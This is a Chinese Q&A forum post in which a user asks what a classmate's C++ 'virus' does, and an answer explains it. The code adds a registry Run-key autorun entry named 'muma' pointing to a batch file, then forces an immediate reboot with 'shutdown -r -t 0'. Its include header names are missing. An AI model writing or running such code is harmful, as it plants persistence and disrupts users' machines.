今天同学发了一个c++的代码说是病毒(小程序)让我看看,我看了啥也看不懂发到这里请神犇来看看,为我解答一下这个代码用了之后会怎么样,谢谢。
#include
#include
#include
#include
#include
#include
#include
#include
int main(){
Sleep(5000);
srand(time(0));
char a[2];
a[0]=rand()%128+10*10;
a[1]=rand()%128+10*10;
SetConsoleTitle(a);
char *Register = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
char Myapp[100];
char lujing[50];
GetCurrentDirectory(50,lujing);
sprintf(Myapp,"%s%s",lujing,"\\2.bat");
puts(Myapp);
HKEY hKey;
if(RegOpenKeyExA(HKEY_CURRENT_USER, Register, 0, KEY_ALL_ACCESS, &hKey)== ERROR_SUCCESS)
{
RegSetValueExA(hKey,"muma", 0, REG_SZ, (BYTE *)Myapp, strlen(Myapp));
RegCloseKey(hKey);
}
system("shutdown -r -t 0");
}
请神犇为我解答一下,再次感谢
请采纳,点击右侧采纳即可,
朋友很有趣哈哈哈
这段代码是一个病毒程序,它会在运行后停止5秒,然后随机生成两个字符,并将这两个字符作为控制台窗口的标题。之后它会在Windows注册表中创建一个名为"muma"的项目,并将当前目录下的"2.bat"文件作为项目的值。最后,程序会执行系统命令"shutdown -r -t 0",这个命令会立即重启电脑。